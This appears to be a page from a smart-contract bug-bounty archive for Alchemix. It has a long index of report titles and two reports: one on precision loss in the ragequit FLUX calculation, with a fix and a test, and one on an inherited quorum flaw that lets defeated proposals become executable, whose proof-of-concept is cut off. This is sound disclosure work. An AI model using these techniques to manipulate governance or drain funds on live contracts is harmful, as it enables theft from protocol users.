* [30708 - \[SC - Low\] treasuryPct can be exceeded than BPS due to inc...](/alchemix/30708-sc-low-treasurypct-can-be-exceeded-than-bps-due-to-inc...)
* [30710 - \[SC - Insight\] The execution of the proposal has no expiration](/alchemix/30710-sc-insight-the-execution-of-the-proposal-has-no-expiration)
* [30711 - \[SC - Low\] The result of the AggregatorVInterface is not v...](/alchemix/30711-sc-low-the-result-of-the-aggregatorvinterface-is-not-v...)
* [30781 - \[SC - Low\] It is possible to lower the quorum requirements...](/alchemix/30781-sc-low-it-is-possible-to-lower-the-quorum-requirements...)
* [30788 - \[SC - Critical\] User can increase their unclaimed Flux token wi...](/alchemix/30788-sc-critical-user-can-increase-their-unclaimed-flux-token-wi...)
* [30800 - \[SC - Critical\] Stealing FLUX by claiming then merging position...](/alchemix/30800-sc-critical-stealing-flux-by-claiming-then-merging-position...)
* [30814 - \[SC - Critical\] Wrong calculation of boost amount in Voterpoke](/alchemix/30814-sc-critical-wrong-calculation-of-boost-amount-in-voterpoke)
* [30818 - \[SC - Low\] division before multiplication in theamountToRa...](/alchemix/30818-sc-low-division-before-multiplication-in-theamounttora...)
* [30825 - \[SC - Critical\] Users can get unlimited amounts of Flux tokens](/alchemix/30825-sc-critical-users-can-get-unlimited-amounts-of-flux-tokens)
* [30826 - \[SC - High\] ALCK rewards are lost when merging tokens becau...](/alchemix/30826-sc-high-alck-rewards-are-lost-when-merging-tokens-becau...)
* [30860 - \[SC - Critical\] Wrong timestamp for totalVoting](/alchemix/30860-sc-critical-wrong-timestamp-for-totalvoting)
* [30886 - \[SC - Medium\] Wrong totalWeight in Votersol](/alchemix/30886-sc-medium-wrong-totalweight-in-votersol)
* [30898 - \[SC - Critical\] Call the deposit function before the distribute...](/alchemix/30898-sc-critical-call-the-deposit-function-before-the-distribute...)
* [30906 - \[SC - Critical\] Voterpoke can be called at will leading to a us...](/alchemix/30906-sc-critical-voterpoke-can-be-called-at-will-leading-to-a-us...)
* [30910 - \[SC - High\] Processing of voting results is not implemented...](/alchemix/30910-sc-high-processing-of-voting-results-is-not-implemented...)
* [30918 - \[SC - Insight\] Incorrect implementation of ownerOf makes veALC...](/alchemix/30918-sc-insight-incorrect-implementation-of-ownerof-makes-vealc...)
* [30919 - \[SC - Critical\] Front running of pokeTokens could lead to loss ...](/alchemix/30919-sc-critical-front-running-of-poketokens-could-lead-to-loss-...)
* [30920 - \[SC - Low\] User loses access to claims after merging of to...](/alchemix/30920-sc-low-user-loses-access-to-claims-after-merging-of-to...)
* [30921 - \[SC - Low\] Referential assignment causes incorrect block i...](/alchemix/30921-sc-low-referential-assignment-causes-incorrect-block-i...)
* [30922 - \[SC - High\] DOS of withdrawals through filling the userPoin...](/alchemix/30922-sc-high-dos-of-withdrawals-through-filling-the-userpoin...)
* [30925 - \[SC - Critical\] Manipulation of governance voting result by unl...](/alchemix/30925-sc-critical-manipulation-of-governance-voting-result-by-unl...)
* [30926 - \[SC - Low\] AlchemixGovernor updates to quorum can affect p...](/alchemix/30926-sc-low-alchemixgovernor-updates-to-quorum-can-affect-p...)
* [30939 - \[SC - Critical\] Misuse of curve pool calls results for precisio...](/alchemix/30939-sc-critical-misuse-of-curve-pool-calls-results-for-precisio...)
* [30951 - \[SC - Low\] Incorrect ownerOf implementation makes veALCX n...](/alchemix/30951-sc-low-incorrect-ownerof-implementation-makes-vealcx-n...)
* [30959 - \[SC - Insight\] Immutable gauges can break the state of the vot...](/alchemix/30959-sc-insight-immutable-gauges-can-break-the-state-of-the-vot...)
* [30972 - \[SC - Critical\] Theft of unclaimed yield of the revenue in the ...](/alchemix/30972-sc-critical-theft-of-unclaimed-yield-of-the-revenue-in-the-...)
* [30973 - \[SC - Low\] Incorrect Validation of treasuryPct in the Reve...](/alchemix/30973-sc-low-incorrect-validation-of-treasurypct-in-the-reve...)
* [30985 - \[SC - Medium\] Griefing attack prevents admins from disabling ...](/alchemix/30985-sc-medium-griefing-attack-prevents-admins-from-disabling-...)
* [30990 - \[SC - Critical\] Users can use Voterpoke to accrue Flux tokens i...](/alchemix/30990-sc-critical-users-can-use-voterpoke-to-accrue-flux-tokens-i...)
* [30992 - \[SC - Insight\] Inconsistent State Missing Event Emission in Fl...](/alchemix/30992-sc-insight-inconsistent-state-missing-event-emission-in-fl...)
* [30999 - \[SC - Critical\] An edge-case mints times more FLUX than it should](/alchemix/30999-sc-critical-an-edge-case-mints-times-more-flux-than-it-should)
* [31008 - \[SC - High\] Alcx rewards are permanently frozen when two to...](/alchemix/31008-sc-high-alcx-rewards-are-permanently-frozen-when-two-to...)
* [31042 - \[SC - High\] Claiming alchemic-token rewards can fail for so...](/alchemix/31042-sc-high-claiming-alchemic-token-rewards-can-fail-for-so...)
* [31071 - \[SC - Critical\] User can steal bribes and prevent other users f...](/alchemix/31071-sc-critical-user-can-steal-bribes-and-prevent-other-users-f...)
* [31076 - \[SC - Critical\] checkpointTotalSupply can checkpoint before a t...](/alchemix/31076-sc-critical-checkpointtotalsupply-can-checkpoint-before-a-t...)
* [31077 - \[SC - Critical\] RevenueHandler counts unclaimed tokens as new r...](/alchemix/31077-sc-critical-revenuehandler-counts-unclaimed-tokens-as-new-r...)
* [31078 - \[SC - High\] withdraw doesnt claim all rewards before burnin...](/alchemix/31078-sc-high-withdraw-doesnt-claim-all-rewards-before-burnin...)
* [31079 - \[SC - Critical\] Claiming bribes for epochs you didnt vote for l...](/alchemix/31079-sc-critical-claiming-bribes-for-epochs-you-didnt-vote-for-l...)
* [31080 - \[SC - Insight\] DoS in startCooldown when users want start cool...](/alchemix/31080-sc-insight-dos-in-startcooldown-when-users-want-start-cool...)
* [31082 - \[SC - Critical\] Expired locks can be used to claim rewards](/alchemix/31082-sc-critical-expired-locks-can-be-used-to-claim-rewards)
* [31085 - \[SC - Critical\] Malicious users can front-run the distribution ...](/alchemix/31085-sc-critical-malicious-users-can-front-run-the-distribution-...)
* [31087 - \[SC - Low\] Colition between approve and \_isApprovedOrOwner...](/alchemix/31087-sc-low-colition-between-approve-and-_isapprovedorowner...)
* [31112 - \[SC - Critical\] Bribesolwithdraw doesnt update the totalVotings...](/alchemix/31112-sc-critical-bribesolwithdraw-doesnt-update-the-totalvotings...)
* [31141 - \[SC - Critical\] Permanent freezing of unclaimed yield of reward...](/alchemix/31141-sc-critical-permanent-freezing-of-unclaimed-yield-of-reward...)
* [31149 - \[SC - Critical\] Manipulation of governance voting result by unl...](/alchemix/31149-sc-critical-manipulation-of-governance-voting-result-by-unl...)
* [31151 - \[SC - Medium\] Delegation Saturation Leading to Asset Freezing...](/alchemix/31151-sc-medium-delegation-saturation-leading-to-asset-freezing...)
* [31163 - \[SC - Critical\] Malicious actor can acquire bribe rewards by bl...](/alchemix/31163-sc-critical-malicious-actor-can-acquire-bribe-rewards-by-bl...)
* [31184 - \[SC - Critical\] Deflating the total amount of votes in a checkp...](/alchemix/31184-sc-critical-deflating-the-total-amount-of-votes-in-a-checkp...)
* [31189 - \[SC - High\] Voting algorithm does not apply maximum availab...](/alchemix/31189-sc-high-voting-algorithm-does-not-apply-maximum-availab...)
* [31196 - \[SC - Critical\] Voterpoke does not check lastVoted resulting in...](/alchemix/31196-sc-critical-voterpoke-does-not-check-lastvoted-resulting-in...)
* [31198 - \[SC - Critical\] VotingEscrowmerge does not check whether the \_f...](/alchemix/31198-sc-critical-votingescrowmerge-does-not-check-whether-the-_f...)
* [31199 - \[SC - Critical\] Users might receive less rewars token after Vot...](/alchemix/31199-sc-critical-users-might-receive-less-rewars-token-after-vot...)
* [31211 - \[SC - Critical\] Inflation Of Total Votes and Potential Freeze o...](/alchemix/31211-sc-critical-inflation-of-total-votes-and-potential-freeze-o...)
* [31222 - \[SC - Critical\] Unlimited Flux minting](/alchemix/31222-sc-critical-unlimited-flux-minting)
* [31223 - \[SC - Critical\] Disproportionate Rewards Manipulation in Bribesol](/alchemix/31223-sc-critical-disproportionate-rewards-manipulation-in-bribesol)
* [31226 - \[SC - Insight\] Missing Revert Message in require statement lea...](/alchemix/31226-sc-insight-missing-revert-message-in-require-statement-lea...)
* [31234 - \[SC - Medium\] Alchemix BlockSlope variable in checkpoint rou...](/alchemix/31234-sc-medium-alchemix-blockslope-variable-in-checkpoint-rou...)
* [31242 - \[SC - Critical\] RevenueHandlercheckpoint allows users to claim ...](/alchemix/31242-sc-critical-revenuehandlercheckpoint-allows-users-to-claim-...)
* [31249 - \[SC - Critical\] malicious user can back-run Voterdistribute to ...](/alchemix/31249-sc-critical-malicious-user-can-back-run-voterdistribute-to-...)
* [31253 - \[SC - Critical\] RevenueHandlercheckpoint isnt correctly](/alchemix/31253-sc-critical-revenuehandlercheckpoint-isnt-correctly)
* [31258 - \[SC - High\] Loss of Unclaimed Bribes After Burning veALCX T...](/alchemix/31258-sc-high-loss-of-unclaimed-bribes-after-burning-vealcx-t...)
* [31263 - \[SC - Critical\] RevenueHandlercheckpoint counts unclaimed rewar...](/alchemix/31263-sc-critical-revenuehandlercheckpoint-counts-unclaimed-rewar...)
* [31264 - \[SC - Insight\] Multiple Reports QALowOOS Medium](/alchemix/31264-sc-insight-multiple-reports-qalowoos-medium)
* [31272 - \[SC - Low\] Approved user cant merge tokens not approved fo...](/alchemix/31272-sc-low-approved-user-cant-merge-tokens-not-approved-fo...)
* [31276 - \[SC - High\] BPT can be locked for only week resulting in u...](/alchemix/31276-sc-high-bpt-can-be-locked-for-only-week-resulting-in-u...)
* [31277 - \[SC - Insight\] The user can propose with less voting power tha...](/alchemix/31277-sc-insight-the-user-can-propose-with-less-voting-power-tha...)
* [31280 - \[SC - Critical\] Malicious user can mint unlimited flux tokens](/alchemix/31280-sc-critical-malicious-user-can-mint-unlimited-flux-tokens)
* [31281 - \[SC - Low\] Approved spender cannot withdraw or merge](/alchemix/31281-sc-low-approved-spender-cannot-withdraw-or-merge)
* [31284 - \[SC - Insight\] cancel should allow to cancel the proposal of t...](/alchemix/31284-sc-insight-cancel-should-allow-to-cancel-the-proposal-of-t...)
* [31293 - \[SC - High\] Voters who withdraw veLACX tokens risk losing g...](/alchemix/31293-sc-high-voters-who-withdraw-velacx-tokens-risk-losing-g...)
* [31295 - \[SC - High\] Newly created gauge may missed out on its rewards](/alchemix/31295-sc-high-newly-created-gauge-may-missed-out-on-its-rewards)
* [31298 - \[SC - Medium\] Anyone can let users delegates reach the upper ...](/alchemix/31298-sc-medium-anyone-can-let-users-delegates-reach-the-upper-...)
* [31309 - \[SC - Critical\] slippage protection is inaccurate](/alchemix/31309-sc-critical-slippage-protection-is-inaccurate)
* [31326 - \[SC - High\] Precision loss causes minor loss of FLUX when c...](/alchemix/31326-sc-high-precision-loss-causes-minor-loss-of-flux-when-c...)
* [31329 - \[SC - Critical\] Attacker can gain infinitive FLUX by repeating ...](/alchemix/31329-sc-critical-attacker-can-gain-infinitive-flux-by-repeating-...)
* [31335 - \[SC - High\] getActualSupply should be used instead of total...](/alchemix/31335-sc-high-getactualsupply-should-be-used-instead-of-total...)
* [31355 - \[SC - Low\] Past Defeated Proposals Can Be Executed in the ...](/alchemix/31355-sc-low-past-defeated-proposals-can-be-executed-in-the-...)
* [31375 - \[SC - Critical\] Lack of Access control in poke function allows ...](/alchemix/31375-sc-critical-lack-of-access-control-in-poke-function-allows-...)
* [31377 - \[SC - Critical\] Stucked yield tokens upon withdrawal of votes f...](/alchemix/31377-sc-critical-stucked-yield-tokens-upon-withdrawal-of-votes-f...)
* [31380 - \[SC - High\] FluxTokencalculateBPT uses wrong algorithm caus...](/alchemix/31380-sc-high-fluxtokencalculatebpt-uses-wrong-algorithm-caus...)
* [31381 - \[SC - Low\] Alchemix Incorrect Initialisation of struct in...](/alchemix/31381-sc-low-alchemix-incorrect-initialisation-of-struct-in...)
* [31382 - \[SC - High\] VotingEscrowupdateUnlockTime - Its possible for...](/alchemix/31382-sc-high-votingescrowupdateunlocktime-its-possible-for...)
* [31383 - \[SC - Low\] price feeds sanity checks isnt correct in funct...](/alchemix/31383-sc-low-price-feeds-sanity-checks-isnt-correct-in-funct...)
* [31385 - \[SC - Low\] RewardsDistributortokensPerWeek might be zero i...](/alchemix/31385-sc-low-rewardsdistributortokensperweek-might-be-zero-i...)
* [31386 - \[SC - Critical\] Malicious user can steal FLUX token by abusing ...](/alchemix/31386-sc-critical-malicious-user-can-steal-flux-token-by-abusing-...)
* [31388 - \[SC - Critical\] Vulnerability in the poke function of Voting co...](/alchemix/31388-sc-critical-vulnerability-in-the-poke-function-of-voting-co...)
* [31390 - \[SC - High\] Precision Loss in FluxTokensolgetClaimableFlux](/alchemix/31390-sc-high-precision-loss-in-fluxtokensolgetclaimableflux)
* [31397 - \[SC - Critical\] In Bribesol \_writeVotingCheckpoint isnt called ...](/alchemix/31397-sc-critical-in-bribesol-_writevotingcheckpoint-isnt-called-...)
* [31399 - \[SC - High\] RewardDistributor claims can be DoSed through e...](/alchemix/31399-sc-high-rewarddistributor-claims-can-be-dosed-through-e...)
* [31407 - \[SC - Insight\] Alchemist is given over Allowance through Reven...](/alchemix/31407-sc-insight-alchemist-is-given-over-allowance-through-reven...)
* [31408 - \[SC - Critical\] Killed Gauge continue to accrue and steal rewar...](/alchemix/31408-sc-critical-killed-gauge-continue-to-accrue-and-steal-rewar...)
* [31409 - \[SC - Critical\] Users can grief Bribe rewards forcing them to b...](/alchemix/31409-sc-critical-users-can-grief-bribe-rewards-forcing-them-to-b...)
* [31410 - \[SC - Medium\] Griefing Attack using delegate will expose User...](/alchemix/31410-sc-medium-griefing-attack-using-delegate-will-expose-user...)
* [31413 - \[SC - Medium\] DOS attack by delegating tokens at MAX\_DELEGATES](/alchemix/31413-sc-medium-dos-attack-by-delegating-tokens-at-max_delegates)
* [31416 - \[SC - Insight\] Impossible to set boostMultiplier to MIN\_BOOST](/alchemix/31416-sc-insight-impossible-to-set-boostmultiplier-to-min_boost)
* [31417 - \[SC - Insight\] Compound claiming transactions will revert if u...](/alchemix/31417-sc-insight-compound-claiming-transactions-will-revert-if-u...)
* [31418 - \[SC - Critical\] the killed gauge collect claim amount](/alchemix/31418-sc-critical-the-killed-gauge-collect-claim-amount)
* [31420 - \[SC - Insight\] No array lengths check in VotersolclaimBribes](/alchemix/31420-sc-insight-no-array-lengths-check-in-votersolclaimbribes)
* [31425 - \[SC - Medium\] Users can call reset on their token even if the...](/alchemix/31425-sc-medium-users-can-call-reset-on-their-token-even-if-the...)
* [31430 - \[SC - Insight\] QA](/alchemix/31430-sc-insight-qa)
* [31435 - \[SC - High\] ALCX rewards arent claimed for from token when ...](/alchemix/31435-sc-high-alcx-rewards-arent-claimed-for-from-token-when-...)
* [31443 - \[SC - Insight\] Incorrect values of votingDelay and votingPerio...](/alchemix/31443-sc-insight-incorrect-values-of-votingdelay-and-votingperio...)
* [31444 - \[SC - Critical\] Manipulation of ve voting mechanism unlimited b...](/alchemix/31444-sc-critical-manipulation-of-ve-voting-mechanism-unlimited-b...)
* [31447 - \[SC - High\] veALCX holders are able to withdraw rewards and...](/alchemix/31447-sc-high-vealcx-holders-are-able-to-withdraw-rewards-and...)
* [31448 - \[SC - Medium\] Bypassing the Governances proposal threshold to...](/alchemix/31448-sc-medium-bypassing-the-governances-proposal-threshold-to...)
* [31449 - \[SC - Low\] BribegetRewardForOwner should not revert if the...](/alchemix/31449-sc-low-bribegetrewardforowner-should-not-revert-if-the...)
* [31451 - \[SC - Insight\] MAX\_PROPOSAL\_NUMERATOR is incorrectly set](/alchemix/31451-sc-insight-max_proposal_numerator-is-incorrectly-set)
* [31453 - \[SC - Critical\] The balance of RevenueHandler can be drained](/alchemix/31453-sc-critical-the-balance-of-revenuehandler-can-be-drained)
* [31458 - \[SC - Critical\] Invalid handling of epochs revenue for tokens t...](/alchemix/31458-sc-critical-invalid-handling-of-epochs-revenue-for-tokens-t...)
* [31460 - \[SC - Insight\] supportsInterface does not return typeIERCRecei...](/alchemix/31460-sc-insight-supportsinterface-does-not-return-typeiercrecei...)
* [31461 - \[SC - Critical\] veALCX holder can mint Unlimited FLUX tokens](/alchemix/31461-sc-critical-vealcx-holder-can-mint-unlimited-flux-tokens)
* [31462 - \[SC - Medium\] Alchemix addReward access control can be bypas...](/alchemix/31462-sc-medium-alchemix-addreward-access-control-can-be-bypas...)
* [31466 - \[SC - Critical\] Wrong reward calculation leads to rewards being...](/alchemix/31466-sc-critical-wrong-reward-calculation-leads-to-rewards-being...)
* [31470 - \[SC - Critical\] Bribing protocols pay bribes but dont get emiss...](/alchemix/31470-sc-critical-bribing-protocols-pay-bribes-but-dont-get-emiss...)
* [31472 - \[SC - Critical\] Stealing all revenue from the Alchemix protocol](/alchemix/31472-sc-critical-stealing-all-revenue-from-the-alchemix-protocol)
* [31478 - \[SC - High\] calculateBPT doesnt divide by basis points infl...](/alchemix/31478-sc-high-calculatebpt-doesnt-divide-by-basis-points-infl...)
* [31479 - \[SC - High\] alchemechNFT holder will get too little FLUX be...](/alchemix/31479-sc-high-alchemechnft-holder-will-get-too-little-flux-be...)
* [31480 - \[SC - High\] Miscalculation of global bias](/alchemix/31480-sc-high-miscalculation-of-global-bias)
* [31481 - \[SC - Critical\] Undound FLUX accrual through reset and merge](/alchemix/31481-sc-critical-undound-flux-accrual-through-reset-and-merge)
* [31483 - \[SC - Critical\] Users can vote multiple times in one epoch](/alchemix/31483-sc-critical-users-can-vote-multiple-times-in-one-epoch)
* [31484 - \[SC - High\] Rewards for the first epoch at rewards distribu...](/alchemix/31484-sc-high-rewards-for-the-first-epoch-at-rewards-distribu...)
* [31485 - \[SC - Critical\] Miscalculation of distributed tokens at revenue...](/alchemix/31485-sc-critical-miscalculation-of-distributed-tokens-at-revenue...)
* [31486 - \[SC - High\] getClaimableFlux miscalculates claimable FLUX f...](/alchemix/31486-sc-high-getclaimableflux-miscalculates-claimable-flux-f...)
* [31487 - \[SC - Low\] Wrong condition check on RevenueHandlerconstruc...](/alchemix/31487-sc-low-wrong-condition-check-on-revenuehandlerconstruc...)
* [31488 - \[SC - Critical\] Merging tokens allows multiple Flux accruals wi...](/alchemix/31488-sc-critical-merging-tokens-allows-multiple-flux-accruals-wi...)
* [31494 - \[SC - High\] Alchemix The first epochs ALCX emissions of vo...](/alchemix/31494-sc-high-alchemix-the-first-epochs-alcx-emissions-of-vo...)
* [31495 - \[SC - Critical\] Users cannot claim rewards from RevenueHandler ...](/alchemix/31495-sc-critical-users-cannot-claim-rewards-from-revenuehandler-...)
* [31497 - \[SC - Low\] executeBatch lacks payable so ethers can not be...](/alchemix/31497-sc-low-executebatch-lacks-payable-so-ethers-can-not-be...)
* [31498 - \[SC - High\] Alchemix ALCX rewards are currently subject to...](/alchemix/31498-sc-high-alchemix-alcx-rewards-are-currently-subject-to...)
* [31503 - \[SC - Insight\] Incorrect value of MAX\_PROPOSAL\_NUMERATOR in Al...](/alchemix/31503-sc-insight-incorrect-value-of-max_proposal_numerator-in-al...)
* [31507 - \[SC - Critical\] Malicious user could flash-loan the veALCX to i...](/alchemix/31507-sc-critical-malicious-user-could-flash-loan-the-vealcx-to-i...)
* [31512 - \[SC - Critical\] Infinite minting of FLUX through Merge](/alchemix/31512-sc-critical-infinite-minting-of-flux-through-merge)
* [31514 - \[SC - Medium\] Malicious users can cause pokeTokens to revert](/alchemix/31514-sc-medium-malicious-users-can-cause-poketokens-to-revert)
* [31519 - \[SC - Low\] Lack of revert statement in Votersolpoke result...](/alchemix/31519-sc-low-lack-of-revert-statement-in-votersolpoke-result...)
* [31520 - \[SC - Critical\] Incorrect accounting of totalVoting leads to pe...](/alchemix/31520-sc-critical-incorrect-accounting-of-totalvoting-leads-to-pe...)
* [31521 - \[SC - Medium\] Early return in RewardsDistributorclaim can cau...](/alchemix/31521-sc-medium-early-return-in-rewardsdistributorclaim-can-cau...)
* [31523 - \[SC - Low\] USDT Approval will cause function failure](/alchemix/31523-sc-low-usdt-approval-will-cause-function-failure)
* [31524 - \[SC - High\] Rounding down in getClaimableFlux leads to less...](/alchemix/31524-sc-high-rounding-down-in-getclaimableflux-leads-to-less...)
* [31526 - \[SC - Critical\] A user is able to claim more bribes than they h...](/alchemix/31526-sc-critical-a-user-is-able-to-claim-more-bribes-than-they-h...)
* [31527 - \[SC - Critical\] No accounting for totalVoting in Bribesolwithdr...](/alchemix/31527-sc-critical-no-accounting-for-totalvoting-in-bribesolwithdr...)
* [31539 - \[SC - Medium\] The Voterdistribute function can continue to fail](/alchemix/31539-sc-medium-the-voterdistribute-function-can-continue-to-fail)
* [31540 - \[SC - Insight\] Expired Token Locks Impacting Vote Weight Calcu...](/alchemix/31540-sc-insight-expired-token-locks-impacting-vote-weight-calcu...)
* [31541 - \[SC - Critical\] FluxTokens unlimited mint and Exploitation of g...](/alchemix/31541-sc-critical-fluxtokens-unlimited-mint-and-exploitation-of-g...)
* [31542 - \[SC - Low\] Bribeearned - L Its potentially possible to ear...](/alchemix/31542-sc-low-bribeearned-l-its-potentially-possible-to-ear...)
* [31544 - \[SC - High\] Certain small amount of tokens are not accounte...](/alchemix/31544-sc-high-certain-small-amount-of-tokens-are-not-accounte...)
* [31552 - \[SC - Insight\] Lack of the validation for a Flash token protec...](/alchemix/31552-sc-insight-lack-of-the-validation-for-a-flash-token-protec...)
* [31555 - \[SC - Low\] RewardsDistributoramountToCompound - L The stal...](/alchemix/31555-sc-low-rewardsdistributoramounttocompound-l-the-stal...)
* [31556 - \[SC - Critical\] Unfair Revenue Distribution in Non-Alchemix Rev...](/alchemix/31556-sc-critical-unfair-revenue-distribution-in-non-alchemix-rev...)
* [31558 - \[SC - Insight\] Discrepancy in MAX\_PROPOSAL\_NUMERATOR Value in ...](/alchemix/31558-sc-insight-discrepancy-in-max_proposal_numerator-value-in-...)
* [31559 - \[SC - Low\] Minter UpdatePeriod after weeks causes Rewards...](/alchemix/31559-sc-low-minter-updateperiod-after-weeks-causes-rewards...)
* [31562 - \[SC - Medium\] Every consecutive epoch will have same number o...](/alchemix/31562-sc-medium-every-consecutive-epoch-will-have-same-number-o...)
* [31563 - \[SC - Low\] Oracle days staleThreshold for priceTimestamp ...](/alchemix/31563-sc-low-oracle-days-stalethreshold-for-pricetimestamp-...)
* [31566 - \[SC - Medium\] Checkpoints wont update block number in point b...](/alchemix/31566-sc-medium-checkpoints-wont-update-block-number-in-point-b...)
* [31567 - \[SC - Critical\] VotingEscrowsolcheckpoint is completely broken](/alchemix/31567-sc-critical-votingescrowsolcheckpoint-is-completely-broken)
* [31575 - \[SC - Medium\] depositIntoRewardPool and withdrawFromRewardPo...](/alchemix/31575-sc-medium-depositintorewardpool-and-withdrawfromrewardpo...)
* [31579 - \[SC - Critical\] Infinite mint of FLUX using poke](/alchemix/31579-sc-critical-infinite-mint-of-flux-using-poke)
* [31583 - \[SC - Insight\] Off by one error while adding reward pool token](/alchemix/31583-sc-insight-off-by-one-error-while-adding-reward-pool-token)
* [31584 - \[SC - Critical\] Loss Of Boosted Weight When Poking In The Same ...](/alchemix/31584-sc-critical-loss-of-boosted-weight-when-poking-in-the-same-...)
* [31588 - \[SC - Low\] Users could start cooldown period for their wit...](/alchemix/31588-sc-low-users-could-start-cooldown-period-for-their-wit...)
* [31592 - \[SC - Insight\] Collection of other important issues](/alchemix/31592-sc-insight-collection-of-other-important-issues)
* [31594 - \[SC - Insight\] RewardPoolManager can only add RewardPoolToken ...](/alchemix/31594-sc-insight-rewardpoolmanager-can-only-add-rewardpooltoken-...)
* [31597 - \[SC - High\] Loss of precision while calculating claimable f...](/alchemix/31597-sc-high-loss-of-precision-while-calculating-claimable-f...)

</details>


# 30555 - \[SC - Low] Precision loss when calculating the FLUX amount...

## Precision loss when calculating the FLUX amount required to ragequit for a token

Submitted on Apr 30th 2024 at 18:42:03 UTC by @MTNether for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #30555

Report type: Smart Contract

Report severity: Low

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/VotingEscrow.sol>

Impacts:

* Permanent freezing of funds
* Temporary freezing of funds for 12 hours
* Griefing (e.g. no profit motive for an attacker, but damage to the users or the protocol)

### Description

### Brief/Intro

Fewer FLUX tokens than actual are calculated and burnt in the cooling down process due to the priority of division over multiplication.

### Vulnerability Details

Solidity rounds down the result of an integer division, and because of that, it is always recommended to multiply before dividing to avoid that precision loss. In the case of a prior division over multiplication, the final result may face serious precision loss as the first answer would face truncated precision and then multiplied to another integer.

The problem arises in the VotingEscrow's cooling down part. After performing the necessary checks inside the `startCooldown()` function, it checks the required FLUX amounts to ragequit:

```solidity
    function amountToRagequit(uint256 _tokenId) public view returns (uint256) {
        // amount of flux earned in one epoch
        uint256 oneEpochFlux = claimableFlux(_tokenId);

        // total amount of epochs in fluxMultiplier amount of years
        uint256 totalEpochs = fluxMultiplier * ((MAXTIME) / EPOCH);

        // based on one epoch, calculate total amount of flux over fluxMultiplier amount of years
        uint256 ragequitAmount = oneEpochFlux * totalEpochs;

        return ragequitAmount;
    }
```

It is evident that the `ragequitAmount` is calculated by the multiplication of claimable flux token amounts and the flux time ratio which is defined as:

```solidity
    totalEpochs = fluxMultiplier * ((MAXTIME) / EPOCH);
```

The variable `fluxMultiplier` is set to be `4`, the `MAXTIME`, and `EPOCH` are `365 days`, and `2 weeks` respectively.

The current implementation of the aforementioned definition has a hidden division before a multiplication that rounds down the whole expression.

This is bad as the precision loss can be significant, which leads to the contract calculating and burning less `ragequitAmount` than the actual.

At the Proof of Concept part, we can check this behavior precisely.

### Impact Details

Low `ragequitAmount` to ragequit inside the `amountToRagequit()` function is calculated leading to wrongly setting the minimum Flux amounts to ragequit and thus burning fewer tokens than actual.

### References

<https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/VotingEscrow.sol?utm\\_source=immunefi#L345-L356>

## Recommended Mitigation Steps

Consider modifying the `ragequitAmount` calculation to prevent such precision loss and prioritize the multiplication over division:

```diff
    function amountToRagequit(uint256 _tokenId) public view returns (uint256) {
        // amount of flux earned in one epoch
        uint256 oneEpochFlux = claimableFlux(_tokenId);

        // total amount of epochs in fluxMultiplier amount of years
-       uint256 totalEpochs = fluxMultiplier * ((MAXTIME) / EPOCH);

        // based on one epoch, calculate total amount of flux over fluxMultiplier amount of years
-       uint256 ragequitAmount = oneEpochFlux * totalEpochs;
+       uint256 ragequitAmount = (oneEpochFlux * fluxMultiplier * MAXTIME) / EPOCH;

        return ragequitAmount;
    }
```

### Proof of Concept

You can run this code inside the Forge to see the difference between the results:

```solidity
    function test_precissionLoss() public {

        uint256 oneEpochFlux = claimableFlux;
        uint256 totalEpochs = fluxMultiplier * ((MAXTIME) / EPOCH);

        uint256 ragequitAmount_actual   = (oneEpochFlux * totalEpochs);
        uint256 ragequitAmount_accurate = (oneEpochFlux * fluxMultiplier * MAXTIME) / EPOCH;
        
        console.log("Current Implementation ", ragequitAmount_actual);
        console.log("Actual Implementation  ", ragequitAmount_accurate);
    }
```

The result would be: (for a sample and real `claimableFlux` of `156510000000` just for testing purpose)

```
     Current Implementation  16277040000000
     Actual Implementation   16321757142857
```

Thus, we can see that the actual implementation produces less ragequit amount than the precise method. This test shows a big difference between the two calculated ragequit amounts in the cooling down process.


# 30556 - \[SC - Low] Past defeated proposals may become executable i...

Submitted on Apr 30th 2024 at 18:46:43 UTC by @mt030d for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #30556

Report type: Smart Contract

Report severity: Low

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/AlchemixGovernor.sol>

Impacts:

* Manipulation of governance voting result deviating from voted outcome and resulting in a direct change from intended effect of original results

## Description

## Brief/Intro

The `AlchemixGovernor` contract inherits the `L2GovernorVotesQuorumFraction` contract, which is based on an outdated version of OpenZeppelin's `GovernorVotesQuorumFraction` contract that has a known vulnerability.

This vulnerability allows past proposals to become executable if they were defeated only due to a lack of quorum, and the number of votes they received meets the new quorum requirement.

## Vulnerability Details

The `AlchemixGovernor` contract inherits the `L2GovernorVotesQuorumFraction` contract, a modified version of OpenZeppelin's `GovernorVotesQuorumFraction` contract at version v4.5.0. However, this version has a [known vulnerability](https://github.com/OpenZeppelin/openzeppelin-contracts/security/advisories/GHSA-xrc4-737v-9q75), patched in v4.7.2.

As a result, the `AlchemixGovernor` contract is affected by the same vulnerability: when a proposal is passed to lower the quorum requirement, past proposals may become executable if they were defeated only due to a lack of quorum, and the number of votes they received meets the new quorum requirement.

Please see the PoC for a concrete scenario of this vulnerability.

## Impact Details

An under-quorum proposal should be unable to execute after the vote period.

However, when a proposal is passed to lower the quorum requirement, past proposals become executable if they were defeated only due to a lack of quorum, and the number of votes they received meets the new quorum requirement.

A malicious user could propose a malicious proposal and vote for it. Since it's below the quorum, it may go unnoticed by the DAO. Later, they can propose a proposal to lower the quorum for other valid reasons. If the proposal is executed, their hidden malicious proposal may become executable, potentially causing monetary and reputational harm to the project.

## References

* [AlchemixGovernor contract](https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/AlchemixGovernor.sol#L16)
* [L2GovernorVotesQuorumFraction contract](https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/governance/L2GovernorVotesQuorumFraction.sol)
* [The issue for OpenZeppelin's GovernorVotesQuorumFraction](https://github.com/OpenZeppelin/openzeppelin-contracts/security/advisories/GHSA-xrc4-737v-9q75)

## Proof of Concept

```solidity
// ./test/PoC.t.sol
// SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "../src/test/BaseTest.sol";

contract PoC is BaseTest {
    function setUp() public {
        setupContracts(block.timestamp);

        // Create veALCX for admin
        createVeAlcx(admin, TOKEN_100K, MAXTIME, false);

